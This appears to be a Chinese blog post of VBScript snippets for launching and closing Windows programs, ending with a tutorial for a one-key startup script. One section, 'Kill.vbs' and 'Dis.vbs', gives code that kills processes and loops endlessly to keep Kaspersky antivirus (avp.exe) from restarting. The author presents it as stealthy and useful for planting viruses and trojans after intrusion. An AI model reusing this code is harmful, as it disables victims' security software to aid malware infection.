VBS脚本随笔
1、定时运行程序与关闭程序的VBS处理方法:
do
set ws=createobject("wscript.shell")
ws.run"你要运行的程序的路径(比如说d:\qq.exe)",x 'x为参数,可选值如下.
wscript.sleep 36000 '36000为一分钟,具体可以自己改。
ws.run "taskkill /im 你要运行的程序的名称(比如说QQ.exe) /f",vbhide
loop
x为参数 下面为可选值:
0 隐藏一个窗口并激活另一个窗口。
1 激活并显示窗口。如果窗口处于最小化或最大化状态,则系统将其还原到原始大小和位置。第一次显示该窗口时,应用程序应指定此标志。
2 激活窗口并将其显示为最小化窗口。
3 激活窗口并将其显示为最大化窗口。
4 按最近的窗口大小和位置显示窗口。活动窗口保持活动状态。
5 激活窗口并按当前的大小和位置显示它。
6 最小化指定的窗口,并按照 Z 顺序激活下一个顶部窗口。
7 将窗口显示为最小化窗口。活动窗口保持活动状态。
8 将窗口显示为当前状态。活动窗口保持活动状态。
9 激活并显示窗口。如果窗口处于最小化或最大化状态,则系统将其还原到原始大小和位置。还原最小化窗口时,应用程序应指定此标志。
10 根据启动应用程序的程序状态来设置显示状态。
2、VBS控制应用程序的打开关闭
3、用vbs打开程序
检查程序,如已有就不打开!
pro="c:\windows\system32\notepad.exe"'要打开的程序,写完整路径
n=split(pro,"\")
name=n(ubound(n))
for each ps in getobject("winmgmts:\\.\root\cimv2:win32_process").instances_
s=s&sep&ps.name:sep="|":next
s=split(s,"|")
for i=0 to ubound(s)
if name=s(i) then wscript.quit
next
createobject("wscript.shell").run pro
====================================================================
vbs打开关闭应用程序
'1.打开关闭应用程序
Set WshShell = CreateObject("WScript.Shell")
'打开应用程序
Set oExec = WshShell.Exec("C:\WINDOWS\system32\notepad.exe")
WScript.Sleep 5000
WshShell.AppActivate oExec.ProcessID
WScript.Sleep 100
通过快捷键关闭程序
WshShell.SendKeys "%{F4}"
Set oExec = Nothing
'2. 通过进程名关闭程序
set WshShell =createobject("wscript.shell")
'暂停3000毫秒
wscript.sleep 3000
'关闭记事本. 关闭程序得知道程序的进程名,在任务管理器里面.
WshShell.run "cmd.exe /c taskkill /f /im notepad.exe /t",0
==========================================================================
用VBS实现脚本结束进程与防止进程启动
Kill.vbs用来在cmd下结束进程,Dis.vbs用来在窗口模式下防止某进程再次启动。这两个VBS都不会被杀毒软件KILL掉,并且有一定的隐蔽性……看代码!('为注释)
Kill.vbs:
for each ps in getobject _
("winmgmts:\\.\root\cimv2:win32_process").instances_ '涉及到WMI脚本入侵技术,我不能解释清楚!
if ps.handle=wscript.arguments(0) then '判断进程的PID号是否与获得的PID号参数相等
wscript.echo ps.terminate '如果相等就结束指定PID号对应的进程
end if
next
Dis.vbs:
dim y,x '不要这行也行……
do '来个死循环……一直在判断!do ... loop内为循环体!
set y=getobject("winmgmts:\\.\root\cimv2") '和上面解释一样,这也是涉及到微软的WMI技术!
set x=y.execquery("select * from win32_process where name='avp.exe'")
'查询语句,where后判断avp.exe(卡巴)是否存在进程中!
'这样当卡巴被上面的Kill.vbs结束时就再也启动不起来了。除非,把Dis.vbs结束了先……
for each i in x
i.terminate() '卡巴要启动马上就终止……
next
wscript.sleep
loop
解释够清楚了,那就来看看这两个vbs是如何工作的吧。我将Kill.vbs与Dis.vbs放在C盘根目录下。
打开cmd,输入cd\回到C盘根目录下,输入tasklist查看当前系统的进程情况,然后记下你想kill的进程的PID号,输入cscript Kill.vbs 2200即可结束PID为2200的进程了!假如这个进程是avp.exe,那你就可以输入Dis.vbs启动Dis.vbs来防止卡巴继续被启动。Dis.vbs启动时仅在任务管理器的进程中有wscript.exe进程项,要是不结束这个进程是无法再次启动卡巴的。
懂得这些,为以后入侵他人电脑后上传病毒、木马之类的就更方便了一点点……上面的所有过程都经本人试验成功了,继续完善……
4、制作 一键启动程序,用vbs文件实现
教你制作 一键启动程序,用vbs文件实现
相信许多办公室一族都有这样的经历:每次打开电脑都要逐一开启N个即时通讯工具和Email客户端,鼠标点不够几十次根本无法开始工作,还没正式投入战斗,就已经倦了。虽然我们可以将其全部设为开机自动启动,但这会大大减慢开机速度,而且在不需要它们的非工作日无法临时取消。
如果,能有一款软件,使我们只点一次鼠标或是按一个键,就能将这些程序全部启动就好了。其实,Windows本身就有这样的功能,我们只需编写一个脚本即可。
首先,我们要准备好待启动程序的完整路径。对绝大多数程序来说,只需在开始菜单内的相应软件名上点右键,选“属性”,然后将“目标”中的文字复制下来即可。
但有几个程序比较特殊,用这种方法找不到其路径,比如MSN Messenger和Microsoft Office中的Word、Excel等组件。下面是这些程序在默认情况下的完整路径,如果您是自定义安装,则需根据情况略作修改。
MSN Messenger: "C:\Program Files\MSN Messenger\msnmsgr.exe"
Word: "C:\Program Files\Microsoft Office\Office12\WINWORD.EXE"
(注:这是Office2007的情况,如果是Office2003或OfficeXP,需把路径中的Office12换成Office11或Office10,下同)
Excel: "C:\Program Files\Microsoft Office\Office12\EXCEL.EXE"
Access: "C:\Program Files\Microsoft Office\Office12\MSACCESS.EXE"
PowerPoint: "C:\Program Files\Microsoft Office\Office12\POWERPNT.EXE"
接下来,新建一个文本文档,按下面格式将你要启动的程序输进去:
Program1 = "C:\Program Files\Tencent\QQ\QQ.exe"
Program2 = "C:\Program Files\MSN Messenger\msnmsgr.exe"
Program3 = "C:\Program Files\Outlook Express\msimn.exe"
Program4 = "C:\Program Files\Microsoft Office\Office12\EXCEL.EXE"
……
输完以后,再根据你上面输入的行数继续输入下面命令。
Set WshShell=createobject("wscript.shell")
Set oExec=WshShell.Exec(Program1)
Set WshShell=createobject("wscript.shell")
Set oExec=WshShell.Exec(Program2)
Set WshShell=createobject("wscript.shell")
Set oExec=WshShell.Exec(Program3)
Set WshShell=createobject("wscript.shell")
Set oExec=WshShell.Exec(Program4)
……
然后将此文件保存在任一目录下,并将扩展名改为vbs,再点右键,选“发送到→桌面快捷方式”。最后到桌面上找到这个快捷方式,点右键选“属性”在“快捷键”中设置一个快捷键(如F9)。
以后再开机,只须轻轻按一下F9键,就能启动你需要的全部程序.
VBS脚本随笔的更多相关文章
- 工控随笔_21_西门子_WinCC的VBS脚本_10_对象_01
最近有点小忙,各种事情,心情也不是很好,烦心事特别多,因此最近更新的比较慢. 不敢再松懈了,今天正好有点时间,就继续看了一下VBScript中关于对象的一些内容. 一.对象 OOP是编程规模发展到一定 ...
- 工控随笔_18_西门子_WinCC的VBS脚本_07_变量作用域和传值、传址
在vbs脚本中也存在和其他编程语言一样的概念,那就是变量的作用域,变量的作用域决 定在什么范围内可以访问. 同样的在vbs脚本中对于变量也有一个生命周期, 变量的生命周期决定了变量的存续时间 这个主要 ...
- 工控随笔_12_西门子_WinCC的VBS脚本_03_变量类型
说到编程语言,总是绕不开数据类型,因为数据类型决定了数据可以进行什么样的操作.同时数据类型 从广义上来说是一种数据结构,在过程式编程的过程中,曾经有过这样一种说法: 程序 = 数据结构 + 算法 可见 ...
- 工控随笔_11_西门子_WinCC的VBS脚本_02_运算符
VBS脚本做为编程语言,提供了很多的运算符,通过这些运算符,可以实现不同的操作.运算符具有不同的类型 不同的运算符之间具有运算优先级. 一.运算符的分类 大体分为以下几类: 1.赋值运算符 2.算术运 ...
- 工控随笔_10_西门子_WinCC的VBS脚本_01_基础入门
很多人都认为VB语言或者VBS脚本语言是一种很low的语言,从心里看不起VB或者VBS, 但是其实VBS不仅可以做为系统管理员的利器,同样在工控领域VBS语言大有用武之地. 西门子的WinCC提供了两 ...
- 使用vbs脚本进行批量编码转换
使用vbs脚本进行批量编码转换 最近需要使用SourceInsight查看分析在Linux系统下开发的项目代码,我们知道Linux系统中文本文件默认编码格式是UTF-8,而Windows中文系统中的默 ...
- 在本地主机上powershell中连接远程主机执行vbs脚本,得到执行结果(2008版及以上)
在桌面版的主机上远程管理服务器版主机,在本地powershell中连接远程主机执行vbs脚本,得到执行结果. 执行步骤: 1.将本地主机上的Hyper.vbs复制到远程连接主机上.例如,本地vbs脚本 ...
- [VBS]脚本中的字典、动态数组、队列和堆栈
今天用VBS脚本写了几个程序,用到了字典(Dictionary).动态数组(ArrayList).队列(Queue)和堆栈(Stack).现在写篇Blog总结一下 :-) 1.编写环境 今天突发奇想下 ...
- Vbs脚本经典教材(转)
Vbs脚本经典教材(最全的资料还是MSDN) —为什么要使用Vbs? 在Windows中,学习计算机操作也许很简单,但是很多计算机工作是重复性劳动,例如你每周也许需要对一些计算机文件进行复制.粘贴.改 ...
随机推荐
- redis数据类型:sorted sets类型及操作
sorted sets类型及操作: sorted set是set的一个升级版本,它是在set的基础上增加了一个顺序 属性,这一属性在添加修改元素的时候可以指定,每次指定后,zset会 自动重新按新的值 ...
- 配置elasticsearch 以及ik分词
https://github.com/medcl/elasticsearch-analysis-ikhttps://www.elastic.co/downloads/past-releases/ela ...
- HDU 5898 odd-even number(2016沈阳网络选拔赛 数位DP)
定义DP[pos][pre][odd][even],pos代表当前数位,pre代表前一位的数值,odd代表到前一位连续的奇数个数,even代表到前一位连续偶数个数. odd和even肯定至少有一个为0 ...
- 学习笔记——访问者模式Visitor
访问者模式,通过Visitor的注入,为Element扩展了方法实现.虽然避免了Element不用修改即可修改,但却破坏了类的封装性,同时,一旦变更就需要增加子类,在子类方法中调用基类方法,然后再使用 ...
- Tarjan算法求解无向连通图的割点、割边、点双连通分量和边双连通分量的模板
历时好几天,终于完工了! 支持无向图四种功能:1.割点的求解 2.割边的求解 3.点双连通分量的求解 4.边双连通分量的求解 全部支持重边!!!!全部支持重边!!!!全部支持重边!!!! 测试数据: ...
- ASP.NET MVC 使用带有短横线的html Attributes
我们常常需要一个文本框来输入用户名,在asp.net mvc 中可以使用 TextBoxFor.有时候我们想为这个文本框添加一些特性,比如 html5 的data-,如果直接写data-是会提示错误的 ...
- 用sqlyog远程连接LINUX系统的MYSQL出现错解决方法
无法给远程连接的用户权限问题.结果这样子操作mysql库,即可解决.在本机登入mysql后,更改 “mysql” 数据库里的 “user” 表里的 “host” 项,从”localhost”改称'%' ...
- python 输出重定向
使print既打印到终端,又写入文件 class Tee(object): def __init__(self,*files): self.files = files def write(self,o ...
- Linux文件系统的目录结构
Linux下的文件系统为树形结构,入口为/ 树形结构下的文件目录: 无论哪个版本的Linux系统,都有这些目录,这些目录应该是标准的.各个Linux发行版本会存在一些小小的差异,但总体来说,还是大体差 ...
- Entity Framework技巧系列之十 - Tip 37 - 41
提示37. 怎样进行按条件包含(Conditional Include) 问题 几天前有人在StackOverflow上询问怎样进行按条件包含. 他们打算查询一些实体(比方说Movies),并且希望预 ...